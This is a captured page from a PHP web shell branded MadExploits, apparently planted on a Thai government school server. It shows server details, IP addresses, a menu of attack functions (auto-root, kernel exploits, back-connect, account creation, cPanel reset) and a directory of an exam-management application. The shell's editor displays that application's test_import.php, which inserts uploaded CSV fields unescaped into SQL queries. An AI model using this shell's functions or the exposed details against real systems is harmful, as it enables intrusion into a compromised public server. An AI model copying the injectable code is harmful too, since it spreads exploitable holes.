Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rwxr-xr-x
curriculum.php
7.97
KB
-rwxr-xr-x
curriculum_view.php
25.22
KB
-rwxr-xr-x
examination_set.php
320
B
-rwxr-xr-x
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rwxr-xr-x
indicator.php
37.07
KB
-rwxr-xr-x
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rwxr-xr-x
khet_report_1_mobile.php
8.38
KB
-rwxr-xr-x
khet_report_2.php
68.18
KB
-rwxr-xr-x
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rwxr-xr-x
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rwxr-xr-x
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rwxr-xr-x
return_ajax_standard.php
805
B
-rwxr-xr-x
return_ajax_substance.php
1.36
KB
-rwxr-xr-x
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rwxr-xr-x
sch_report_1_mobile.php
10.62
KB
-rwxr-xr-x
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rwxr-xr-x
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rwxr-xr-x
student_report_1_mobile.php
5.51
KB
-rwxr-xr-x
substance.php
16.58
KB
-rwxr-xr-x
test_admin.php
46.87
KB
-rwxr-xr-x
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rwxr-xr-x
test_master.php
46.2
KB
-rwxr-xr-x
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rwxr-xr-x
test_sch_2.php
26.76
KB
-rwxr-xr-x
test_student.php
34.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_import.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); $rec_date = date("Y-m-d H:i:s"); $officer=$_SESSION['login_user_id']; if($_FILES){ if($_FILES['userfile']['name']==""){ ?> <script> alert("กรุณาเลือกไฟล์ด้วย ค่ะ"); document.location.href="?option=bets&task=main/test_import"; </script> <?php exit(); } // ตรวจสอบว่าเป็น csv file หรือไม่ $uploaddir ="modules/bets/upload_files2/"; //ที่เก็บไฟล์ $uploadfile = $uploaddir.basename($_FILES['userfile']['name']); $basename = basename($_FILES['userfile']['name']); //ลบไฟล์เดิม if(file_exists($uploadfile)){ unlink($uploadfile); } $surname = explode(".", $_FILES['userfile']['name']); $school_code=explode("_",$surname[0]); $file_name = explode("_", $_FILES['userfile']['name']); //ตรวจสอบนามสกุล if($surname[1]!="csv"){ unlink($_FILES['userfile']['tmp_name']); ?> <script> alert("ไม่ใช่ ไฟล์ประเภท CSV กรุณาอ่านคำอธิบายอีกครั้ง"); document.location.href="?option=bets&task=main/test_import"; </script> <?php exit(); } if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){ $changed_name=$uploaddir.$basename; rename("$uploadfile" , "$changed_name"); ////ส่วนอ่านไฟล์และบันทึก $objCSV = fopen("$changed_name", "r"); $N=1; while (($objArr = fgetcsv($objCSV, 1000, ",")) !== FALSE) { if($N==1){ $sql ="select * from bets_paper_test_1 where id='$objArr[0]' "; $dbquery = mysqli_query($connect,$sql); $num_rows=mysqli_num_rows($dbquery); if($num_rows==1){ $result = mysqli_fetch_array($dbquery); $class_room=$result['class_room']; $level=$result['level']; $item_num=$result['item_num']; $test_id=$result['id']; $test_name=$result['test_name']; //หารคุณสมบัติแต่ละข้อ $sql_item ="select * from bets_book_item where test_id='$test_id' order by item_number"; $dbquery_item = mysqli_query($connect,$sql_item); While ($result_item = mysqli_fetch_array($dbquery_item)){ $item_number=$result_item['item_number']; $item_type=$result_item['item_type']; $item_id=$result_item['id']; $answer_num=$result_item['answer_num']; $right_answer=$result_item['right_answer']; $full_score=$result_item['score']; $item_type_ar[$item_number]=$item_type; $item_id_ar[$item_number]=$item_id; $answer_num_ar[$item_number]=$answer_num; $right_answer_ar[$item_number]=$right_answer; $full_score_ar[$item_number]=$full_score; } $sql_school = "select * from system_school_detail"; $dbquery_school = mysqli_query($connect,$sql_school); while($result_school = mysqli_fetch_array($dbquery_school)){ $school_code= $result_school['school_code']; $school_code10= $result_school['school_code10']; $school_code_ar[$school_code10]=$school_code; } } else{ echo "<br><div align='center'><strong><font color=#990000 size=3>ไม่มีรหัสแบบทดสอบ $objArr[0] ระบบไม่นำเข้าข้อมูล</font></strong></div>"; exit(); } /// end if $num_rows==1 } // if N==1 $school=$objArr[1]; $school=$school_code_ar[$school]; //ตรวจสอบการบันทึกไว้แล้ว $sql_check= "select * from bets_paper_answer where test_id='$test_id' and school='$school' and person_id='$objArr[2]' "; $dbquery_check = mysqli_query($connect,$sql_check); $num_rows_del=mysqli_num_rows($dbquery_check); if($num_rows_del>0){ $sql_del= "delete from bets_paper_answer where test_id='$test_id' and school='$school' and person_id='$objArr[2]' "; $dbquery_del = mysqli_query($connect,$sql_del); } $y=$item_num+2; $M=1; for($x=3; $x<=$y; $x++){ //หาคะแนน if($item_type_ar[$M]==0){ $answer=$objArr[$x]; if($answer==$right_answer_ar[$M]){ $score=$full_score_ar[$M]; } else{ $score=0; } } else if($item_type_ar[$M]==1){ $answer=0; $score=$objArr[$x]; if($score>$full_score_ar[$M]){ $score=$full_score_ar[$M]; } } $item_type=$item_type_ar[$M]; $item_id=$item_id_ar[$M]; $full_score=$full_score_ar[$M]; $sql_insert = "insert into bets_paper_answer (school,test_id,person_id,item_type,item_id,answer,score,item_score,officer,rec_date) values ( '$school','$test_id','$objArr[2]','$item_type','$item_id','$answer','$score','$full_score','$officer','$rec_date')"; $dbquery_insert = mysqli_query($connect,$sql_insert); $M++; } // end loop for $N++; } fclose($objCSV); ////end $N=$N-1; ?> <script> alert("นำเข้าผลสอบวิชา <?php echo $test_name; echo " จำนวน "; echo $N ?> คน"); document.location.href="?option=bets&task=main/test_import"; </script> <?php } else{ echo "<br><strong><font color=#990000 size=3>ไม่สามารถอัพโหลดได้</font></strong>"; exit(); } } else{ uploadfile(); } //ส่วนของform function uploadfile () { echo "<form name ='frm1' Enctype = 'multipart/form-data'>"; echo "<br>"; echo "<table align='center' width='50%' border='0'>"; echo "<tr>"; echo "<td align='right'><strong><font color='#003366' size='2'>ไฟล์เอกสาร</font></strong></td>"; echo "<td align='left'><input name = 'userfile' type = 'file'><font color='#003366' size='2'></font></td>"; echo "</tr>"; echo "<tr><td></td><td></td></tr> "; echo "<tr> "; echo "<td></td><td align = 'left'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='upload(1)' class='entrybutton'></td>"; echo "</tr>"; echo "</table>"; echo "<br /><br /><br />"; echo "<table width=70% border=0 align=center>"; echo "<Tr><Td align='left'><strong>คำอธิบาย</strong></Td></Tr>"; echo "<Tr><Td align='left'>1. นำเข้าผลการสอบกรณีมีผลการสอบอยู่ในรูปไฟล์ Excel </Td></Tr>"; echo "<Tr><Td align='left'>2. แปลงข้อมูลที่จะนำเข้าเป็นไฟล์ประเภท CSV (MS-DOS) </Td></Tr>"; echo "<Tr><Td align='left'>3. ไฟล์ที่จะนำเข้าต้องไม่มีหัวสดมภ์ </Td></Tr>"; echo "<Tr><Td align='left'>4. สดมภ์ที่ 1 เป็นรหัสแบบทดสอบ(ชนิดกระดาษ) </Td></Tr>"; echo "<Tr><Td align='left'>5. สดมภ์ที่ 2 เป็นรหัสโรงเรียน 10 หลัก</Td></Tr>"; echo "<Tr><Td align='left'>6. สดมภ์ที่ 3 เป็นเลขประจำตัวประชาชนของผู้สอบ</Td></Tr>"; echo "<Tr><Td align='left'>7. สดมภ์ที่ 4 เป็นต้นไปเป็นข้อมูลตัวเลือกรายข้อ กรณีปรนัย หรือเป็นผลคะแนนรายข้อ กรณีอัตนัย</Td></Tr>"; echo "</Table>"; } ?> <script> function upload(val){ if(val==1){ callfrm("?option=bets&task=main/test_import"); } } </script>
Close